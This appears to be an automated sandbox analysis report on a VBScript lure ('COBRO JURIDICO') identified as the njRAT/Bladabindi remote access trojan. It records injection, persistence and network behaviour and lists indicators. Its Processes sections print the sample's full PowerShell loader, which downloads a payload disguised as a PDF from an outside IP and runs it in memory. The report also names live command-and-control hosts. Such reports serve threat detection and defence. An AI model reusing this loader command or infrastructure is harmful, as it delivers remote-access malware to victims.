Analysis Overview
SHA256
3b8b7f389603923a9fabf32a34ba6301ed3df38ee7eeaac068c8c108409b5532
Threat Level: Known bad
The file 56325762828282 COBRO JURIDICO.vbs was found to be: Known bad.
Malicious Activity Summary
njRAT/Bladabindi
Blocklisted process makes network request
Checks computer location settings
Drops startup file
Suspicious use of SetThreadContext
Enumerates physical storage devices
Suspicious use of WriteProcessMemory
Suspicious behavior: EnumeratesProcesses
Suspicious use of AdjustPrivilegeToken
MITRE ATT&CK
Enterprise Matrix V6
Analysis: static1
Detonation Overview
Reported
2022-10-09 06:14
Signatures
Analysis: behavioral1
Detonation Overview
Submitted
2022-10-09 06:14
Reported
2022-10-09 06:17
Platform
win7-20220901-en
Max time kernel
43s
Max time network
47s
Command Line
Signatures
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Enumerates physical storage devices
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 1672 wrote to memory of 1028 | N/A | C:\Windows\System32\WScript.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 1672 wrote to memory of 1028 | N/A | C:\Windows\System32\WScript.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 1672 wrote to memory of 1028 | N/A | C:\Windows\System32\WScript.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Processes
C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\56325762828282 COBRO JURIDICO.vbs"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" [Byte[]] $rOWg = [system.Convert]::FromBase64string((New-Object Net.WebClient).DownloadString('http://20.7.14.99/dll/dll_ink.pdf'));[System.AppDomain]::CurrentDomain.Load($rOWg).GetType('Fiber.Home').GetMethod('VAI').Invoke($null, [object[]] ('0/YUskG/d/ee.etsap//:sptth'))
Network
| Country | Destination | Domain | Proto |
| US | 20.7.14.99:80 | 20.7.14.99 | tcp |
Files
memory/1672-54-0x000007FEFB7F1000-0x000007FEFB7F3000-memory.dmp
memory/1028-55-0x0000000000000000-mapping.dmp
memory/1028-57-0x000007FEF31B0000-0x000007FEF3BD3000-memory.dmp
memory/1028-58-0x000007FEF2650000-0x000007FEF31AD000-memory.dmp
memory/1028-59-0x0000000002524000-0x0000000002527000-memory.dmp
memory/1028-60-0x000000000252B000-0x000000000254A000-memory.dmp
memory/1028-61-0x0000000002524000-0x0000000002527000-memory.dmp
memory/1028-62-0x000000000252B000-0x000000000254A000-memory.dmp
Analysis: behavioral2
Detonation Overview
Submitted
2022-10-09 06:14
Reported
2022-10-09 06:17
Platform
win10v2004-20220812-en
Max time kernel
148s
Max time network
150s
Command Line
Signatures
njRAT/Bladabindi
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Checks computer location settings
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\Control Panel\International\Geo\Nation | C:\Windows\System32\WScript.exe | N/A |
Drops startup file
| Description | Indicator | Process | Target |
| File created | C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\notepad.lnk | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of SetThreadContext
| Description | Indicator | Process | Target |
| PID 2180 set thread context of 1552 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe |
Enumerates physical storage devices
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowershell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowershell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
Suspicious use of WriteProcessMemory
Processes
C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\56325762828282 COBRO JURIDICO.vbs"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" [Byte[]] $rOWg = [system.Convert]::FromBase64string((New-Object Net.WebClient).DownloadString('http://20.7.14.99/dll/dll_ink.pdf'));[System.AppDomain]::CurrentDomain.Load($rOWg).GetType('Fiber.Home').GetMethod('VAI').Invoke($null, [object[]] ('0/YUskG/d/ee.etsap//:sptth'))
C:\Windows\System32\WindowsPowershell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowershell\v1.0\powershell.exe" -WindowStyle Hidden Copy-Item -Path *.vbs -Destination C:\Windows\Temp\Debug.vbs
C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe"
Network
| Country | Destination | Domain | Proto |
| US | 20.7.14.99:80 | 20.7.14.99 | tcp |
| US | 8.8.8.8:53 | paste.ee | udp |
| US | 188.114.96.0:443 | paste.ee | tcp |
| US | 93.184.220.29:80 | tcp | |
| US | 8.8.8.8:53 | proyecto23.dnsdojo.org | udp |
| CO | 181.235.11.236:2023 | proyecto23.dnsdojo.org | tcp |
| JP | 40.79.189.58:443 | tcp | |
| US | 93.184.221.240:80 | tcp | |
| US | 93.184.221.240:80 | tcp | |
| US | 93.184.221.240:80 | tcp | |
| US | 8.247.211.254:80 | tcp | |
| US | 8.247.211.254:80 | tcp |
Files
memory/2180-132-0x0000000000000000-mapping.dmp
memory/2180-133-0x00000232F0F60000-0x00000232F0F82000-memory.dmp
memory/2180-134-0x00007FFA93F90000-0x00007FFA94A51000-memory.dmp
memory/1504-135-0x0000000000000000-mapping.dmp
memory/1504-136-0x00007FFA93F90000-0x00007FFA94A51000-memory.dmp
memory/1552-137-0x0000000000400000-0x000000000040C000-memory.dmp
memory/1552-138-0x000000000040676E-mapping.dmp
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
| MD5 | 7ae41ba310b3e0f4fc4c6eff982554fd |
| SHA1 | 1a382df614c494ff947f88817b9f0fbc76de3a68 |
| SHA256 | 93939edea4456184f43eeffda4f6e82f125bf5cead24cebcf317aa3fe83efcce |
| SHA512 | 8e13185cab71046bb411dae56ccaabd547d3bf961c200fc307f2961eb9caf175dd08631ecf6512578dd333dac3640e653f93115c840b3344648f2a597e789223 |
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
| MD5 | 6cf293cb4d80be23433eecf74ddb5503 |
| SHA1 | 24fe4752df102c2ef492954d6b046cb5512ad408 |
| SHA256 | b1f292b6199aa29c7fafbca007e5f9e3f68edcbbca1965bc828cc92dc0f18bb8 |
| SHA512 | 0f91e2da0da8794b9797c7b50eb5dfd27bde4546ceb6902a776664ce887dd6f12a0dd8773d612ccc76dfd029cd280778a0f0ae17ce679b3d2ffd968dd7e94a00 |
memory/2180-141-0x00007FFA93F90000-0x00007FFA94A51000-memory.dmp
memory/1552-142-0x00000000050D0000-0x000000000516C000-memory.dmp
memory/1552-143-0x0000000005720000-0x0000000005CC4000-memory.dmp
memory/1552-144-0x00000000052E0000-0x0000000005372000-memory.dmp
memory/1552-145-0x0000000005200000-0x000000000520A000-memory.dmp
memory/1552-146-0x0000000005470000-0x00000000054D6000-memory.dmp